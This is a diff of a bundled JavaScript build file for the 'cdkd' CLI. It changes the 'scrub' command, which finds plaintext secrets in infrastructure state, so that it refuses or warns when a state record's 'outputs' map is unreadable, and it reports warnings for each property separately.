+	if (malformedRecords.length > 0 || malformedOutputRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords, malformedOutputRecords);
+	if (damagedProducerStacks.length > 0) throw damagedProducerRecordsError(damagedProducerStacks);
 	if (options.fail && (totalStacksWithUnscrubbableKeys > 0 || totalStacksWithUnverifiableReads > 0 || totalStacksWithUnverifiableLeaves > 0)) throw new ScrubNeededError();
 }
 /**
@@ -67891,8 +68024,32 @@ function orderScrubTargets(targets) {
 * under `--fail` via the SILENT `ScrubNeededError`, whose suppression would
 * also swallow this text.
 */
-function malformedRecordsAuditedError(stackNames) {
-	return new ScrubRefusalError(`${stackNames.length} stack(s) were audited with an EMPTY resource set because their state record has no readable 'resources' map: ${stackNames.join(", ")}. The report above describes their outputs only — nothing is known about their resources, so this run cannot certify them clean. See the warnings above for the record to inspect.`, STATE_RESOURCES_MALFORMED);
+/**
+* A producer record this run could not classify (go-to-k/cdkd#3192 review).
+*
+* `ScrubRefusalError`, so it carries scrub's exit **2** — and UNGATED by
+* `--fail`, which is the whole point. Before the `outputs` bag was guarded,
+* both damaged shapes already exited 2 unconditionally: the ARRAY shape
+* resolved its element and raised `plaintextProducerCrossStackReadError`, the
+* STRING shape threw a `TypeError` the pre-pass deliberately does not catch.
+* Routing them into `unverifiableReads` alone made a plain `cdkd scrub` exit
+* 0 — and the `--fail` path exit 1, which `docs/cli-reference.md` teaches as
+* the opposite remedy (1 = rotate the secret, 2 = repair and re-run).
+*
+* Names are rendered through `displayIdent` for the reason
+* {@link malformedRecordsAuditedError} gives: a stack name reaching a
+* comma-joined list needs a boundary it cannot close from inside.
+*/
+function damagedProducerRecordsError(stackNames) {
+	const names = stackNames.map((n) => displayIdent(n)).join(", ");
+	return new ScrubRefusalError(`${stackNames.length} stack(s) import a value from a PRODUCER whose state record has no readable 'outputs' map, so this run could not tell whether that producer still holds the plaintext: ${names}. Those stacks were scrubbed for everything else and are NOT reported clean. Repair the producer record and scrub it first, then re-run. See the warnings above for which producer.`, "SCRUB_PRODUCER_RECORD_UNREADABLE");
+}
+function malformedRecordsAuditedError(stackNames, outputStackNames) {
+	const safeNames = (names) => names.map((n) => displayIdent(n)).join(", ");
+	const parts = [];
+	if (stackNames.length > 0) parts.push(`${stackNames.length} stack(s) were audited with an EMPTY resource set because their state record has no readable 'resources' map: ${safeNames(stackNames)}. The report above describes their outputs only — nothing is known about their resources, so this run cannot certify them clean.`);
+	if (outputStackNames.length > 0) parts.push(`${outputStackNames.length} stack(s) were audited with an EMPTY outputs bag because their state record has no readable 'outputs' map: ${safeNames(outputStackNames)}. The report above describes their resources only — nothing is known about the values their outputs hold, and those values are what the exports index republishes to consumer stacks, so this run cannot certify them clean.`);
+	return new ScrubRefusalError(`${parts.join(" ")} See the warnings above for the record to inspect.`, STATE_RESOURCES_MALFORMED);
 }
 function memoizeCrossStackStateReads(backend) {
 	const view = Object.create(backend);
@@ -68072,6 +68229,25 @@ function scrubRefusalWording(verdict, loggedExportKey, loggedProducerStack, logg
 	};
 }
 /**
+* The same names as a SET, for the one question scrub asks that is about
+* membership rather than order: is this `Properties` bag itself an intrinsic
+* NODE, which the resolver must be handed whole?
+*
+* DERIVED, never re-listed. Review of go-to-k/cdkd#3215 caught a hand-written
+* copy of these seventeen names forty lines from this constant — a second
+* spelling of one fact, in one file, each with its own fence. The membership is
+* identical by construction now, so the drift class does not exist and
+* `scrub-import-value-secret.test.ts`'s existing fence against the resolver
+* covers both uses.
+*
+* NOT `HANDLED_INTRINSIC_KEYS` from the resolver, which answers a different
+* question and deliberately carries `Fn::Transform` — handled so a stray
+* already-expanded macro does not hard-error, but never DISPATCHED on. Routing
+* a multi-key bag whole because it carries that key is the spurious-name case
+* that re-opens go-to-k/cdkd#3196.
+*/
+const RESOLVER_DISPATCH_KEYS = new Set(RESOLVER_INTRINSIC_PRECEDENCE);
+/**
 * `values` with repeats removed, keeping either the FIRST or the LAST occurrence
 * of each and preserving the order of the ones kept.
 */
@@ -68616,8 +68792,8 @@ function abandonedScanWarning(subject, verdict) {
 * that does not exist for them. It names what they CAN do and then says plainly
 * that scrub may simply not be able to certify the record.
 */
-function abandonedScanStackNote(verdict, records) {
-	const subject = `${records} record(s) above`;
+function abandonedScanStackNote(verdict, scans) {
+	const subject = `${scans} abandoned scan(s) above`;
 	return verdict === "count" ? `${subject}: the resolver stops at the first {{resolve:...}} token it cannot fetch, so any secret after it in the same value recorded no needle and could not be rewritten. Re-run with --verbose for the cause of each.` : `${subject}: the scan stopped on something cdkd scrub cannot resolve with template defaults alone — an unresolvable Ref or Fn::GetAtt, a parameter with no Default, or a reference whose own argument still holds an unsubstituted \${...}. These do NOT fail --fail, because scrub takes no --parameters and a gate failure here could not be cleared. Give the parameter a Default, or resolve the reference, to let scrub certify these records; otherwise accept that it cannot.`;
 }
 /**
@@ -68961,6 +69137,18 @@ function makeCrossStackPrePass(deps) {
 	const { stackName, resolver, producerTemplates, findings, logger } = deps;
 	const exportOwners = buildExportOwnerIndex(producerTemplates);
 	const verdicts = /* @__PURE__ */ new Map();
+	/**
+	* Producer records already reported as having an unreadable `outputs` map, so
+	* that line is emitted once per RECORD rather than once per reference
+	* (review of go-to-k/cdkd#3206 round 4).
+	*
+	* Beside `verdicts` on purpose: both are per-pre-pass memos keyed by a
+	* producer coordinate, and both would repeat per reference without one.
+	* Measured before this: a consumer template with three `Fn::GetStackOutput`
+	* reads of ONE damaged producer emitted three identical ~600-character
+	* paragraphs, and a `--all` run repeated the set per consumer stack.
+	*/
+	const warnedDamagedProducers = /* @__PURE__ */ new Set();
 	const secretExpressionVerdict = (stack, key) => {
 		const id = `${stack}\u0000${key}`;
 		let verdict = verdicts.get(id);
@@ -69070,7 +69258,7 @@ function makeCrossStackPrePass(deps) {
 		* memoized `getState` promise this call resolves), so the read costs no
 		* extra AWS call.
 		*/
-		const storedProducerValue = async (producer, backend) => {
+		const storedProducerValue = async (producer, backend, nodeCanRefuse) => {
 			if (!backend) return void 0;
 			let loaded;
 			try {
@@ -69080,7 +69268,23 @@ function makeCrossStackPrePass(deps) {
 				return;
 			}
 			const outputs = loaded?.state?.outputs;
-			if (!outputs || !(producer.key in outputs)) return void 0;
+			if (outputs !== void 0 && !isReadableBag(outputs)) {
+				if (!nodeCanRefuse) {
+					logger.debug(`Scrub of ${stackName}: producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}) has no readable 'outputs' map, and this position cannot refuse.`);
+					return;
+				}
+				const seenKey = `${producer.stack}\u0000${producer.region}`;
+				if (!warnedDamagedProducers.has(seenKey)) {
+					warnedDamagedProducers.add(seenKey);
+					const detail = `the stored value of producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}), whose 'outputs' map cannot be read`;
+					findings.unverifiable.push(detail);
+					findings.damagedProducerRecords.push(detail);
+					logger.warn(`Scrub of ${stackName}: producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}) has no readable 'outputs' map, so its stored value could NOT be classified — this run cannot tell whether it still holds plaintext for the value ${stackName} imports from it. ${stackName} is scrubbed for everything else. Repair that record and scrub it first.`);
+				}
+				return;
+			}
+			if (outputs === void 0) return void 0;
+			if (!Object.hasOwn(outputs, producer.key)) return void 0;
 			return { stored: outputs[producer.key] };
 		};
 		const readOne = async (key, node, path, nodeCanRefuse) => {
@@ -69121,7 +69325,7 @@ function makeCrossStackPrePass(deps) {
 				logger.debug(`Scrub of ${stackName}: ${where} resolved through producer '${loggedStack}', whose template declares no {{resolve:...}} expression for '${loggedKey}' and no re-export chain reaching one. Not classified as a plaintext producer.`);
 				return;
 			}
-			const stored = await storedProducerValue(producer, context.stateBackend);
+			const stored = await storedProducerValue(producer, context.stateBackend, nodeCanRefuse);
 			if (!stored) {
 				logger.debug(`Scrub of ${stackName}: ${where} resolved through producer '${loggedStack}' (${producer.region}), whose state record could not be read or does not carry the key '${loggedKey}' — cannot classify, so this is not classified as a plaintext producer.`);
 				return;
@@ -69203,7 +69407,10 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 	* rewrite another's coinciding literal.
 	*/
 	const orphanSecrets = /* @__PURE__ */ new Map();
-	const prePassFindings = { unverifiable: [] };
+	const prePassFindings = {
+		unverifiable: [],
+		damagedProducerRecords: []
+	};
 	/**
 	* Leaves whose dynamic-reference scan was ABANDONED mid-token (issue
 	* go-to-k/cdkd#3160). A counted finding, not a refusal — see
@@ -69240,6 +69447,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				secretsFound: 0,
 				secretBearingKeys: 0,
 				unverifiableReads: 0,
+				unverifiableProducerRecords: 0,
 				unverifiableLeaves: 0,
 				exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
 			};
@@ -69252,6 +69460,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				logger.warn(malformedResourcesWarning(stack.stackName, region));
 			}
 		} else if (!hasReadableResources(state)) throw new ScrubRefusalError(malformedStateRefusalMessage(stack.stackName, region), STATE_RESOURCES_MALFORMED);
+		let malformedOutputs;
+		if (opts.dryRun) {
+			if (repairMalformedOutputsForReadOnly(state)) {
+				malformedOutputs = true;
+				logger.warn(malformedOutputsWarning(stack.stackName, region));
+			}
+		} else if (!hasReadableOutputs(state)) throw new ScrubRefusalError(malformedOutputsRefusalMessage(stack.stackName, region), STATE_RESOURCES_MALFORMED);
 		const perResourceTemplateProps = /* @__PURE__ */ new Map();
 		const outputsTemplateSource = {};
 		const resolvers = new ScrubResolvers(region);
@@ -69310,17 +69525,21 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				});
 				const resourceContext = resolverContext(recordedSecretValues);
 				await resolveCrossStackReads(resolveInput, resourceContext, `resource '${logicalId}'`);
-				try {
-					await resolver.resolve(resolveInput, resourceContext);
+				const bagKeys = resolveInput !== null && typeof resolveInput === "object" && !Array.isArray(resolveInput) ? Object.keys(resolveInput) : void 0;
+				const intrinsicShapedBag = bagKeys?.some((k) => RESOLVER_DISPATCH_KEYS.has(k)) ?? false;
+				const resolveUnits = bagKeys && !intrinsicShapedBag ? Object.entries(resolveInput) : [["", resolveInput]];
+				for (const [propertyName, propertyValue] of resolveUnits) try {
+					await resolver.resolve(propertyValue, resourceContext);
 				} catch (err) {
 					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
-					const leafVerdict = abandonedScanVerdict(resolveInput, err);
+					const leafVerdict = abandonedScanVerdict(propertyValue, err);
 					if (leafVerdict !== "silent") {
 						if (leafVerdict === "count") unverifiableLeaves++;
 						else ungateableAbandonedScans++;
-						logger.warn(maskSecretsInText(abandonedScanWarning(`resource '${displaySafe(logicalId)}'`, leafVerdict), recordedSecretValues));
+						const subject = propertyName ? `resource '${displaySafe(logicalId)}' property '${displaySafe(propertyName)}'` : `resource '${displaySafe(logicalId)}'`;
+						logger.warn(maskSecretsInText(abandonedScanWarning(subject, leafVerdict), recordedSecretValues));
 					}
-					logger.debug(`Resolution of ${logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
+					logger.debug(maskSecretsInText(`Resolution of ${displaySafe(logicalId)}${propertyName ? `.${displaySafe(propertyName)}` : ""} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
 				}
 				perResourceTemplateProps.set(logicalId, templateResource.Properties);
 			}
@@ -69338,17 +69557,18 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 					recordedSecretValues,
 					origin: `orphan record '${record.logicalId}'`
 				});
-				try {
-					await resolver.resolve(resolveInput, resolverContext(recordedSecretValues));
+				const orphanContext = resolverContext(recordedSecretValues);
+				for (const [bagName, bagValue] of Object.entries(resolveInput)) try {
+					await resolver.resolve(bagValue, orphanContext);
 				} catch (err) {
 					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
-					const leafVerdict = abandonedScanVerdict(resolveInput, err);
+					const leafVerdict = abandonedScanVerdict(bagValue, err);
 					if (leafVerdict !== "silent") {
 						if (leafVerdict === "count") unverifiableLeaves++;
 						else ungateableAbandonedScans++;
-						logger.warn(maskSecretsInText(abandonedScanWarning(`orphan record '${displaySafe(record.logicalId)}'`, leafVerdict), recordedSecretValues));
+						logger.warn(maskSecretsInText(abandonedScanWarning(`orphan record '${displaySafe(record.logicalId)}' ${bagName}`, leafVerdict), recordedSecretValues));
 					}
-					logger.debug(`Resolution of orphan record ${record.logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
+					logger.debug(maskSecretsInText(`Resolution of orphan record ${displaySafe(record.logicalId)} ${bagName} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
 				}
 			}
 			for (const [name, output] of Object.entries(templateOutputs)) {
@@ -69441,8 +69661,10 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				secretsFound: 0,
 				secretBearingKeys: secretBearingKeys.length,
 				unverifiableReads: prePassFindings.unverifiable.length,
+				unverifiableProducerRecords: prePassFindings.damagedProducerRecords.length,
 				unverifiableLeaves,
 				...malformedResources ? { malformedResources } : {},
+				...malformedOutputs ? { malformedOutputs } : {},
 				outputs: state.outputs,
 				exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
 			};
@@ -69493,8 +69715,10 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 			secretsFound: totalSecrets,
 			secretBearingKeys: secretBearingKeys.length,
 			unverifiableReads: prePassFindings.unverifiable.length,
+			unverifiableProducerRecords: prePassFindings.damagedProducerRecords.length,
 			unverifiableLeaves,
 			...malformedResources ? { malformedResources } : {},
+			...malformedOutputs ? { malformedOutputs } : {},
 			outputs: newOutputs,
 			exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
 		};
@@ -82660,6 +82884,7 @@ async function orphanCommand(pathArgs, options) {
 			if (!stateData) throw new Error(`No state found for stack '${stackInfo.stackName}' (${targetRegion}). Nothing to orphan. (Did the stack get deployed?)`);
 			const { state, etag, migrationPending } = stateData;
 			refuseMalformedState(state, stackInfo.stackName, targetRegion);
+			refuseMalformedOutputs(state, stackInfo.stackName, targetRegion);
 			const missing = orphanLogicalIds.filter((id) => !(id in state.resources));
 			if (missing.length > 0) {
 				const have = Object.keys(state.resources ?? {}).join(", ");
@@ -83239,6 +83464,7 @@ async function importCommand(stackArg, options) {
 		const existingResult = await stateBackend.getState(stackInfo.stackName, targetRegion);
 		const existingState = existingResult?.state ?? null;
 		if (existingState) refuseMalformedState(existingState, stackInfo.stackName, targetRegion);
+		if (existingState) refuseMalformedOutputs(existingState, stackInfo.stackName, targetRegion);
 		const existingEtag = existingResult?.etag;
 		const migrationPending = existingResult?.migrationPending ?? false;
 		if (existingState) {
@@ -93828,4 +94054,4 @@ function buildProgram() {
 
 //#endregion
 export { buildProgram };
-//# sourceMappingURL=program-FAA3rPmS.js.map
+//# sourceMappingURL=program-BDNXyKp5.js.map